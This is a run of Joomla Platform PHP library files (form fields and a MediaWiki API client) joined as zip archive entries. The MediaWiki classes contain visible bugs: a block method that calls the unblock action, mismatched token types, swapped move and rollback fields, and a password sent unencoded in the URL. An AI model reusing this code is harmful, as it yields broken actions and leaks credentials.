$value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'checkedOptions': $this->checkedOptions = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to get the radio button field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { if (empty($this->layout)) { throw new UnexpectedValueException(sprintf('%s has no layout assigned.', $this->name)); } return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->checkedOptions = (string) $this->element['checked']; } return $return; } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.5 */ protected function getLayoutData() { $data = parent::getLayoutData(); // True if the field has 'value' set. In other words, it has been stored, don't use the default values. $hasValue = (isset($this->value) && !empty($this->value)); // If a value has been stored, use it. Otherwise, use the defaults. $checkedOptions = $hasValue ? $this->value : $this->checkedOptions; $extraData = array( 'checkedOptions' => is_array($checkedOptions) ? $checkedOptions : explode(',', (string) $checkedOptions), 'hasValue' => $hasValue, 'options' => $this->getOptions(), ); return array_merge($data, $extraData); } } PK�\f�V�joomla/form/fields/checkbox.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Single checkbox field. * This is a boolean field with null for false and the specified option for true * * @link http://www.w3.org/TR/html-markup/input.checkbox.html#input.checkbox * @see JFormFieldCheckboxes * @since 1.7.0 */ class JFormFieldCheckbox extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Checkbox'; /** * The checked state of checkbox field. * * @var boolean * @since 3.2 */ protected $checked = false; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'checked': return $this->checked; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'checked': $value = (string) $value; $this->checked = ($value == 'true' || $value == $name || $value == '1'); break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { // Handle the default attribute $default = (string) $element['default']; if ($default) { $test = $this->form->getValue((string) $element['name'], $group); $value = ($test == $default) ? $default : null; } $return = parent::setup($element, $value, $group); if ($return) { $checked = (string) $this->element['checked']; $this->checked = ($checked == 'true' || $checked == 'checked' || $checked == '1'); empty($this->value) || $this->checked ? null : $this->checked = true; } return $return; } /** * Method to get the field input markup. * The checked element sets the field to selected. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { // Initialize some field attributes. $class = !empty($this->class) ? ' class="' . $this->class . '"' : ''; $disabled = $this->disabled ? ' disabled' : ''; $value = !empty($this->default) ? $this->default : '1'; $required = $this->required ? ' required aria-required="true"' : ''; $autofocus = $this->autofocus ? ' autofocus' : ''; $checked = $this->checked || !empty($this->value) ? ' checked' : ''; // Initialize JavaScript field attributes. $onclick = !empty($this->onclick) ? ' onclick="' . $this->onclick . '"' : ''; $onchange = !empty($this->onchange) ? ' onchange="' . $this->onchange . '"' : ''; // Including fallback code for HTML5 non supported browsers. JHtml::_('jquery.framework'); JHtml::_('script', 'system/html5fallback.js', array('version' => 'auto', 'relative' => true, 'conditional' => 'lt IE 9')); return '<input type="checkbox" name="' . $this->name . '" id="' . $this->id . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"' . $class . $checked . $disabled . $onclick . $onchange . $required . $autofocus . ' />'; } } PK�\���RRjoomla/mediawiki/mediawiki.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with a Mediawiki server instance. * * @property-read JMediawikiSites $sites MediaWiki API object for sites. * @property-read JMediawikiPages $pages MediaWiki API object for pages. * @property-read JMediawikiUsers $users MediaWiki API object for users. * @property-read JMediawikiLinks $links MediaWiki API object for links. * @property-read JMediawikiCategories $categories MediaWiki API object for categories. * @property-read JMediawikiImages $images MediaWiki API object for images. * @property-read JMediawikiSearch $search MediaWiki API object for search. * * @since 3.1.4 */ class JMediawiki { /** * @var Registry Options for the MediaWiki object. * @since 3.0.0 */ protected $options; /** * @var JMediawikiHttp The HTTP client object to use in sending HTTP requests. * @since 3.1.4 */ protected $client; /** * @var JMediawikiSites MediaWiki API object for Site. * @since 3.1.4 */ protected $sites; /** * @var JMediawikiPages MediaWiki API object for pages. * @since 3.0.0 */ protected $pages; /** * @var JMediawikiUsers MediaWiki API object for users. * @since 3.1.4 */ protected $users; /** * @var JMediawikiLinks MediaWiki API object for links. * @since 3.1.4 */ protected $links; /** * @var JMediawikiCategories MediaWiki API object for categories. * @since 3.1.4 */ protected $categories; /** * @var JMediawikiImages MediaWiki API object for images. * @since 3.1.4 */ protected $images; /** * @var JMediawikiSearch MediaWiki API object for search. * @since 3.0.0 */ protected $search; /** * Constructor. * * @param Registry $options MediaWiki options object. * @param JMediawikiHttp $client The HTTP client object. * * @since 3.1.4 */ public function __construct(Registry $options = null, JMediawikiHttp $client = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JMediawikiHttp($this->options); } /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @return JMediaWikiObject MediaWiki API object (users, reviews, etc). * * @since 3.1.4 * @throws InvalidArgumentException */ public function __get($name) { $name = strtolower($name); $class = 'JMediawiki' . ucfirst($name); $accessible = array( 'categories', 'images', 'links', 'pages', 'search', 'sites', 'users', ); if (class_exists($class) && in_array($name, $accessible)) { if (!isset($this->$name)) { $this->$name = new $class($this->options, $this->client); } return $this->$name; } throw new InvalidArgumentException(sprintf('Property %s is not accessible.', $name)); } /** * Get an option from the JMediawiki instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JMediawiki instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JMediawiki This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\B�%Ps-s-joomla/mediawiki/users.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Users class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiUsers extends JMediawikiObject { /** * Method to login and get authentication tokens. * * @param string $lgname User Name. * @param string $lgpassword Password. * @param string $lgdomain Domain (optional). * * @return object * * @since 3.1.4 */ public function login($lgname, $lgpassword, $lgdomain = null) { // Build the request path. $path = '?action=login&lgname=' . $lgname . '&lgpassword=' . $lgpassword; if (isset($lgdomain)) { $path .= '&lgdomain=' . $lgdomain; } // Send the request. $response = $this->client->post($this->fetchUrl($path), null); // Request path with login token. $path = '?action=login&lgname=' . $lgname . '&lgpassword=' . $lgpassword . '&lgtoken=' . $this->validateResponse($response)->login['token']; if (isset($lgdomain)) { $path .= '&lgdomain=' . $lgdomain; } // Set the session cookies returned. $headers = (array) $this->options->get('headers'); $headers['Cookie'] = !empty($headers['Cookie']) ? empty($headers['Cookie']) : ''; $headers['Cookie'] = $headers['Cookie'] . $response->headers['Set-Cookie']; $this->options->set('headers', $headers); // Send the request again with the token. $response = $this->client->post($this->fetchUrl($path), null); $response_body = $this->validateResponse($response); $headers = (array) $this->options->get('headers'); $cookie_prefix = $response_body->login['cookieprefix']; $cookie = $cookie_prefix . 'UserID=' . $response_body->login['lguserid'] . '; ' . $cookie_prefix . 'UserName=' . $response_body->login['lgusername']; $headers['Cookie'] = $headers['Cookie'] . '; ' . $response->headers['Set-Cookie'] . '; ' . $cookie; $this->options->set('headers', $headers); return $this->validateResponse($response); } /** * Method to logout and clear session data. * * @return object * * @since 3.1.4 */ public function logout() { // Build the request path. $path = '?action=login'; // @TODO clear internal data as well // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get user information. * * @param array $ususers A list of users to obtain the same information for. * @param array $usprop What pieces of information to include. * * @return object * * @since 3.1.4 */ public function getUserInfo(array $ususers, array $usprop = null) { // Build the request path. $path = '?action=query&list=users'; // Append users to the request. $path .= '&ususers=' . $this->buildParameter($ususers); if (isset($usprop)) { $path .= '&usprop' . $this->buildParameter($usprop); } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get current user information. * * @param array $uiprop What pieces of information to include. * * @return object * * @since 3.1.4 */ public function getCurrentUserInfo(array $uiprop = null) { // Build the request path. $path = '?action=query&meta=userinfo'; if (isset($uiprop)) { $path .= '&uiprop' . $this->buildParameter($uiprop); } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get user contributions. * * @param string $ucuser The users to retrieve contributions for. * @param string $ucuserprefix Retrieve contibutions for all users whose names begin with this value. * @param integer $uclimit The users to retrieve contributions for. * @param string $ucstart The start timestamp to return from. * @param string $ucend The end timestamp to return to. * @param boolean $uccontinue When more results are available, use this to continue. * @param string $ucdir In which direction to enumerate. * @param array $ucnamespace Only list contributions in these namespaces. * @param array $ucprop Include additional pieces of information. * @param array $ucshow Show only items that meet this criteria. * @param string $uctag Only list revisions tagged with this tag. * @param string $uctoponly Only list changes which are the latest revision * * @return object * * @since 3.1.4 */ public function getUserContribs($ucuser = null, $ucuserprefix = null, $uclimit = null, $ucstart = null, $ucend = null, $uccontinue = null, $ucdir = null, array $ucnamespace = null, array $ucprop = null, array $ucshow = null, $uctag = null, $uctoponly = null) { // Build the request path. $path = '?action=query&list=usercontribs'; if (isset($ucuser)) { $path .= '&ucuser=' . $ucuser; } if (isset($ucuserprefix)) { $path .= '&ucuserprefix=' . $ucuserprefix; } if (isset($uclimit)) { $path .= '&uclimit=' . $uclimit; } if (isset($ucstart)) { $path .= '&ucstart=' . $ucstart; } if (isset($ucend)) { $path .= '&ucend=' . $ucend; } if ($uccontinue) { $path .= '&uccontinue='; } if (isset($ucdir)) { $path .= '&ucdir=' . $ucdir; } if (isset($ucnamespace)) { $path .= '&ucnamespace=' . $this->buildParameter($ucnamespace); } if (isset($ucprop)) { $path .= '&ucprop=' . $this->buildParameter($ucprop); } if (isset($ucshow)) { $path .= '&ucshow=' . $this->buildParameter($ucshow); } if (isset($uctag)) { $path .= '&uctag=' . $uctag; } if (isset($uctoponly)) { $path .= '&uctoponly=' . $uctoponly; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to block a user. * * @param string $user Username, IP address or IP range you want to block. * @param string $expiry Relative expiry time, Default: never. * @param string $reason Reason for block (optional). * @param boolean $anononly Block anonymous users only. * @param boolean $nocreate Prevent account creation. * @param boolean $autoblock Automatically block the last used IP address, and any subsequent IP addresses they try to login from. * @param boolean $noemail Prevent user from sending email through the wiki. * @param boolean $hidename Hide the username from the block log. * @param boolean $allowusertalk Allow the user to edit their own talk page. * @param boolean $reblock If the user is already blocked, overwrite the existing block. * @param boolean $watchuser Watch the user/IP's user and talk pages. * * @return object * * @since 3.1.4 */ public function blockUser($user, $expiry = null, $reason = null, $anononly = null, $nocreate = null, $autoblock = null, $noemail = null, $hidename = null, $allowusertalk = null, $reblock = null, $watchuser = null) { // Get the token. $token = $this->getToken($user, 'block'); // Build the request path. $path = '?action=unblock'; // Build the request data. $data = array( 'user' => $user, 'token' => $token, 'expiry' => $expiry, 'reason' => $reason, 'anononly' => $anononly, 'nocreate' => $nocreate, 'autoblock' => $autoblock, 'noemail' => $noemail, 'hidename' => $hidename, 'allowusetalk' => $allowusertalk, 'reblock' => $reblock, 'watchuser' => $watchuser, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to unblock a user. * * @param string $user Username, IP address or IP range you want to unblock. * @param string $reason Reason for unblock (optional). * * @return object * * @since 3.1.4 */ public function unBlockUserByName($user, $reason = null) { // Get the token. $token = $this->getToken($user, 'unblock'); // Build the request path. $path = '?action=unblock'; // Build the request data. $data = array( 'user' => $user, 'token' => $token, 'reason' => $reason, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to unblock a user. * * @param int $id Username, IP address or IP range you want to unblock. * @param string $reason Reason for unblock (optional). * * @return object * * @since 3.1.4 */ public function unBlockUserById($id, $reason = null) { // Get the token. $token = $this->getToken($id, 'unblock'); // Build the request path. $path = '?action=unblock'; // Build the request data. // TODO: $data doesn't seem to be used! $data = array( 'id' => $id, 'token' => $token, 'reason' => $reason, ); // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to assign a user to a group. * * @param string $username User name. * @param array $add Add the user to these groups. * @param array $remove Remove the user from these groups. * @param string $reason Reason for the change. * * @return object * * @since 3.1.4 */ public function assignGroup($username, $add = null, $remove = null, $reason = null) { // Get the token. $token = $this->getToken($username, 'unblock'); // Build the request path. $path = '?action=userrights'; // Build the request data. $data = array( 'username' => $username, 'token' => $token, 'add' => $add, 'remove' => $remove, 'reason' => $reason, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to email a user. * * @param string $target User to send email to. * @param string $subject Subject header. * @param string $text Mail body. * @param boolean $ccme Send a copy of this mail to me. * * @return object * * @since 3.1.4 */ public function emailUser($target, $subject = null, $text = null, $ccme = null) { // Get the token. $token = $this->getToken($target, 'emailuser'); // Build the request path. $path = '?action=emailuser'; // Build the request data. $data = array( 'target' => $target, 'token' => $token, 'subject' => $subject, 'text' => $text, 'ccme' => $ccme, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to get access token. * * @param string $user The User to get token. * @param string $intoken The type of token. * * @return object * * @since 3.1.4 */ public function getToken($user, $intoken) { // Build the request path. $path = '?action=query&prop=info&intoken=' . $intoken . '&titles=User:' . $user; // Send the request. $response = $this->client->post($this->fetchUrl($path), null); return (string) $this->validateResponse($response)->query->pages->page[$intoken . 'token']; } } PK�\>e�+%+%joomla/mediawiki/categories.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Categories class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiCategories extends JMediawikiObject { /** * Method to list all categories the page(s) belong to. * * @param array $titles Page titles to retrieve categories. * @param array $clprop List of additional properties to get. * @param array $clshow Type of categories to show. * @param integer $cllimit Number of categories to return. * @param boolean $clcontinue Continue when more results are available. * @param array $clcategories Only list these categories. * @param string $cldir Direction of listing. * * @return object * * @since 3.0.0 */ public function getCategories(array $titles, array $clprop = null, array $clshow = null, $cllimit = null, $clcontinue = false, array $clcategories = null, $cldir = null) { // Build the request. $path = '?action=query&prop=categories'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($clprop)) { $path .= '&clprop=' . $this->buildParameter($clprop); } if (isset($clshow)) { $path .= '&$clshow=' . $this->buildParameter($clshow); } if (isset($cllimit)) { $path .= '&cllimit=' . $cllimit; } if ($clcontinue) { $path .= '&clcontinue='; } if (isset($clcategories)) { $path .= '&clcategories=' . $this->buildParameter($clcategories); } if (isset($cldir)) { $path .= '&cldir=' . $cldir; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get information about all categories used. * * @param array $titles Page titles to retrieve categories. * * @return object * * @since 3.1.4 */ public function getCategoriesUsed(array $titles) { // Build the request $path = '?action=query&generator=categories&prop=info'; // Append titles to the request $path .= '&titles=' . $this->buildParameter($titles); // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get information about the given categories. * * @param array $titles Page titles to retrieve categories. * @param boolean $clcontinue Continue when more results are available. * * @return object * * @since 3.1.4 */ public function getCategoriesInfo(array $titles, $clcontinue = false) { // Build the request. $path = '?action=query&prop=categoryinfo'; // Append titles to the request $path .= '&titles=' . $this->buildParameter($titles); if ($clcontinue) { $path .= '&clcontinue='; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get information about the pages within a category * * @param string $cmtitle The category title, must contain 'Category:' prefix, cannot be used together with $cmpageid * @param string $cmpageid The category's page ID, cannot be used together with $cmtitle * @param string $cmlimit Maximum number of pages to retrieve * @param array $cmprop Array of properties to retrieve * @param array $cmnamespace Namespaces to retrieve pages from * @param array $cmtype Array of category members to include, ignored if $cmsort is set to 'timestamp' * @param string $cmstart Timestamp to start listing from, only used if $cmsort is set to 'timestamp' * @param string $cmend Timestamp to end listing at, only used if $cmsort is set to 'timestamp' * @param string $cmstartsortkey Hexadecimal key to start listing from, only used if $cmsort is set to 'sortkey' * @param string $cmendsortkey Hexadecimal key to end listing at, only used if $cmsort is set to 'sortkey' * @param string $cmstartsortkeyprefix Hexadecimal key prefix to start listing from, only used if $cmsort is set to 'sortkey', * overrides $cmstartsortkey * @param string $cmendsortkeyprefix Hexadecimal key prefix to end listing before, only used if $cmsort is set to 'sortkey', * overrides $cmendsortkey * @param string $cmsort Property to sort by * @param string $cmdir Direction to sort in * @param string $cmcontinue Used to continue a previous request * * @return object * * @since 3.2.2 (CMS) * @throws RuntimeException */ public function getCategoryMembers($cmtitle = null, $cmpageid = null, $cmlimit = null, array $cmprop = null, array $cmnamespace = null, array $cmtype = null, $cmstart = null, $cmend = null, $cmstartsortkey = null, $cmendsortkey = null, $cmstartsortkeyprefix = null, $cmendsortkeyprefix = null, $cmsort = null, $cmdir = null, $cmcontinue = null) { // Build the request. $path = '?action=query&list=categorymembers'; // Make sure both $cmtitle and $cmpageid are not set if (isset($cmtitle) && isset($cmpageid)) { throw new RuntimeException('Both the $cmtitle and $cmpageid parameters cannot be set, please only use one of the two.'); } if (isset($cmtitle)) { // Verify that the Category: prefix exists if (strpos($cmtitle, 'Category:') !== 0) { throw new RuntimeException('The $cmtitle parameter must include the Category: prefix.'); } $path .= '&cmtitle=' . $cmtitle; } if (isset($cmpageid)) { $path .= '&cmpageid=' . $cmpageid; } if (isset($cmlimit)) { $path .= '&cmlimit=' . $cmlimit; } if (isset($cmprop)) { $path .= '&cmprop=' . $this->buildParameter($cmprop); } if (isset($cmnamespace)) { $path .= '&cmnamespace=' . $this->buildParameter($cmnamespace); } if (isset($cmtype)) { $path .= '&cmtype=' . $this->buildParameter($cmtype); } if (isset($cmstart)) { $path .= '&cmstart=' . $cmstart; } if (isset($cmend)) { $path .= '&cmend=' . $cmend; } if (isset($cmstartsortkey)) { $path .= '&cmstartsortkey=' . $cmstartsortkey; } if (isset($cmendsortkey)) { $path .= '&cmendsortkey=' . $cmendsortkey; } if (isset($cmstartsortkeyprefix)) { $path .= '&cmstartsortkeyprefix=' . $cmstartsortkeyprefix; } if (isset($cmendsortkeyprefix)) { $path .= '&cmendsortkeyprefix=' . $cmendsortkeyprefix; } if (isset($cmsort)) { $path .= '&cmsort=' . $cmsort; } if (isset($cmdir)) { $path .= '&cmdir=' . $cmdir; } if (isset($cmcontinue)) { $path .= '&cmcontinue=' . $cmcontinue; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to enumerate all categories. * * @param string $acfrom The category to start enumerating from. * @param string $acto The category to stop enumerating at. * @param string $acprefix Search for all category titles that begin with this value. * @param string $acdir Direction to sort in. * @param integer $acmin Minimum number of category members. * @param integer $acmax Maximum number of category members. * @param integer $aclimit How many categories to return. * @param array $acprop Which properties to get. * * @return object * * @since 3.1.4 */ public function enumerateCategories($acfrom = null, $acto = null, $acprefix = null, $acdir = null, $acmin = null, $acmax = null, $aclimit = null, array $acprop = null) { // Build the request. $path = '?action=query&list=allcategories'; if (isset($acfrom)) { $path .= '&acfrom=' . $acfrom; } if (isset($acto)) { $path .= '&acto=' . $acto; } if (isset($acprefix)) { $path .= '&acprefix=' . $acprefix; } if (isset($acdir)) { $path .= '&acdir=' . $acdir; } if (isset($acfrom)) { $path .= '&acfrom=' . $acfrom; } if (isset($acmin)) { $path .= '&acmin=' . $acmin; } if (isset($acmax)) { $path .= '&acmax=' . $acmax; } if (isset($aclimit)) { $path .= '&aclimit=' . $aclimit; } if (isset($acprop)) { $path .= '&acprop=' . $this->buildParameter($acprop); } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to list change tags. * * @param array $tgprop List of properties to get. * @param string $tglimit The maximum number of tags to limit. * * @return object * * @since 3.1.4 */ public function getChangeTags(array $tgprop = null, $tglimit = null) { // Build the request. $path = '?action=query&list=tags'; if (isset($tgprop)) { $path .= '&tgprop=' . $this->buildParameter($tgprop); } if (isset($tglimit)) { $path .= '&tglimit=' . $tglimit; } // @TODO add support for $tgcontinue // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } } PK�\C�/�A�Ajoomla/mediawiki/pages.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage MediaWiki * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MediaWiki API Pages class for the Joomla Platform. * * @since 3.1.4 */ class JMediawikiPages extends JMediawikiObject { /** * Method to edit a page. * * @param string $title Page title. * @param int $section Section number. * @param string $sectiontitle The title for a new section. * @param string $text Page content. * @param string $summary Title of the page you want to delete. * * @return object * * @since 3.1.4 */ public function editPage($title, $section = null, $sectiontitle = null, $text = null, $summary = null) { // Get the token. $token = $this->getToken($title, 'edit'); // Build the request path. $path = '?action=edit'; // Build the request data. $data = array( 'title' => $title, 'token' => $token, 'section' => $section, 'sectiontitle' => $section, 'text' => $text, 'summary' => $summary, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to delete a page. * * @param string $title Title of the page you want to delete. * @param string $reason Reason for the deletion. * @param string $watchlist Unconditionally add or remove the page from your watchlis. * @param string $oldimage The name of the old image to delete. * * @return object * * @since 3.1.4 */ public function deletePageByName($title, $reason = null, $watchlist = null, $oldimage = null) { // Get the token. $token = $this->getToken($title, 'delete'); // Build the request path. $path = '?action=delete'; // Build the request data. $data = array( 'title' => $title, 'token' => $token, 'reason' => $reason, 'watchlist' => $watchlist, 'oldimage' => $oldimage, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to delete a page. * * @param string $pageid Page ID of the page you want to delete. * @param string $reason Reason for the deletion. * @param string $watchlist Unconditionally add or remove the page from your watchlis. * @param string $oldimage The name of the old image to delete. * * @return object * * @since 3.1.4 */ public function deletePageById($pageid, $reason = null, $watchlist = null, $oldimage = null) { // Get the token. $token = $this->getToken($pageid, 'delete'); // Build the request path. $path = '?action=delete'; // Build the request data. $data = array( 'pageid' => $pageid, 'token' => $token, 'reason' => $reason, 'watchlist' => $watchlist, 'oldimage' => $oldimage, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to restore certain revisions of a deleted page. * * @param string $title Title of the page you want to restore. * @param string $reason Reason for restoring (optional). * @param string $timestamp Timestamps of the revisions to restore. * @param string $watchlist Unconditionally add or remove the page from your watchlist. * * @return object * * @since 3.1.4 */ public function undeletePage($title, $reason = null, $timestamp = null, $watchlist = null) { // Get the token. $token = $this->getToken($title, 'undelete'); // Build the request path. $path = '?action=undelete'; // Build the request data. $data = array( 'title' => $title, 'token' => $token, 'reason' => $reason, 'timestamp' => $timestamp, 'watchlist' => $watchlist, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to move a page. * * @param string $from Title of the page you want to move. * @param string $to Title you want to rename the page to. * @param string $reason Reason for the move (optional). * @param string $movetalk Move the talk page, if it exists. * @param string $movesubpages Move subpages, if applicable. * @param boolean $noredirect Don't create a redirect. * @param string $watchlist Unconditionally add or remove the page from your watchlist. * @param boolean $ignorewarnings Ignore any warnings. * * @return object * * @since 3.1.4 */ public function movePageByName($from, $to, $reason = null, $movetalk = null, $movesubpages = null, $noredirect = null, $watchlist =null, $ignorewarnings = null) { // Get the token. $token = $this->getToken($from, 'move'); // Build the request path. $path = '?action=move'; // Build the request data. $data = array( 'from' => $from, 'to' => $reason, 'token' => $token, 'reason' => $reason, 'movetalk' => $movetalk, 'movesubpages' => $movesubpages, 'noredirect' => $noredirect, 'watchlist' => $watchlist, 'ignorewarnings' => $ignorewarnings, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to move a page. * * @param int $fromid Page ID of the page you want to move. * @param string $to Title you want to rename the page to. * @param string $reason Reason for the move (optional). * @param string $movetalk Move the talk page, if it exists. * @param string $movesubpages Move subpages, if applicable. * @param boolean $noredirect Don't create a redirect. * @param string $watchlist Unconditionally add or remove the page from your watchlist. * @param boolean $ignorewarnings Ignore any warnings. * * @return object * * @since 3.1.4 */ public function movePageById($fromid, $to, $reason = null, $movetalk = null, $movesubpages = null, $noredirect = null, $watchlist =null, $ignorewarnings = null) { // Get the token. $token = $this->getToken($fromid, 'move'); // Build the request path. $path = '?action=move'; // Build the request data. $data = array( 'fromid' => $fromid, 'to' => $reason, 'token' => $token, 'reason' => $reason, 'movetalk' => $movetalk, 'movesubpages' => $movesubpages, 'noredirect' => $noredirect, 'watchlist' => $watchlist, 'ignorewarnings' => $ignorewarnings, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to undo the last edit to the page. * * @param string $title Title of the page you want to rollback. * @param string $user Name of the user whose edits are to be rolled back. * @param string $summary Custom edit summary. If not set, default summary will be used. * @param string $markbot Mark the reverted edits and the revert as bot edits. * @param string $watchlist Unconditionally add or remove the page from your watchlist. * * @return object * * @since 3.1.4 */ public function rollback($title, $user, $summary = null, $markbot = null, $watchlist = null) { // Get the token. $token = $this->getToken($title, 'rollback'); // Build the request path. $path = '?action=rollback'; // Build the request data. $data = array( 'title' => $title, 'token' => $token, 'user' => $user, 'expiry' => $summary, 'markbot' => $markbot, 'watchlist' => $watchlist, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to change the protection level of a page. * * @param string $title Title of the page you want to (un)protect. * @param string $protections Pipe-separated list of protection levels. * @param string $expiry Expiry timestamps. * @param string $reason Reason for (un)protecting (optional). * @param string $cascade Enable cascading protection. * @param string $watchlist Unconditionally add or remove the page from your watchlist. * * @return object * * @since 3.1.4 */ public function changeProtection($title, $protections, $expiry = null, $reason = null, $cascade = null, $watchlist = null) { // Get the token. $token = $this->getToken($title, 'unblock'); // Build the request path. $path = '?action=protect'; // Build the request data. $data = array( 'title' => $title, 'token' => $token, 'protections' => $protections, 'expiry' => $expiry, 'reason' => $reason, 'cascade' => $cascade, 'watchlist' => $watchlist, ); // Send the request. $response = $this->client->post($this->fetchUrl($path), $data); return $this->validateResponse($response); } /** * Method to get basic page information. * * @param array $titles Page titles to retrieve info. * @param array $inprop Which additional properties to get. * @param array $intoken Request a token to perform a data-modifying action on a page * @param boolean $incontinue When more results are available, use this to continue. * * @return object * * @since 3.1.4 */ public function getPageInfo(array $titles, array $inprop = null, array $intoken = null, $incontinue = null) { // Build the request $path = '?action=query&prop=info'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if (isset($inprop)) { $path .= '&inprop=' . $this->buildParameter($inprop); } if (isset($intoken)) { $path .= '&intoken=' . $this->buildParameter($intoken); } if ($incontinue) { $path .= '&incontinue='; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get various properties defined in the page content. * * @param array $titles Page titles to retrieve properties. * @param boolean $ppcontinue When more results are available, use this to continue. * @param string $ppprop Page prop to look on the page for. * * @return object * * @since 3.1.4 */ public function getPageProperties(array $titles, $ppcontinue = null, $ppprop = null) { // Build the request $path = '?action=query&prop=pageprops'; // Append titles to the request. $path .= '&titles=' . $this->buildParameter($titles); if ($ppcontinue) { $path .= '&ppcontinue='; } if (isset($ppprop)) { $path .= '&ppprop=' . $ppprop; } // Send the request. $response = $this->client->get($this->fetchUrl($path)); return $this->validateResponse($response); } /** * Method to get a list of revisions. * * @param array $titles Page titles to retrieve revisions. * @param array $rvprop Which properties to get for each revision. * @param boolean $rvparse Parse revision content. * @param int $rvlimit Limit how many revisions will be returned. * * @return object * * @since 3.1.4 */ public function getRevisions(array $titles, array $rvprop = null, $rvparse = null, $rvlimit = null) { // Build the request $path = '?action=query&prop=revisions'; // Append titles to the request. $path .= '&titles=' . 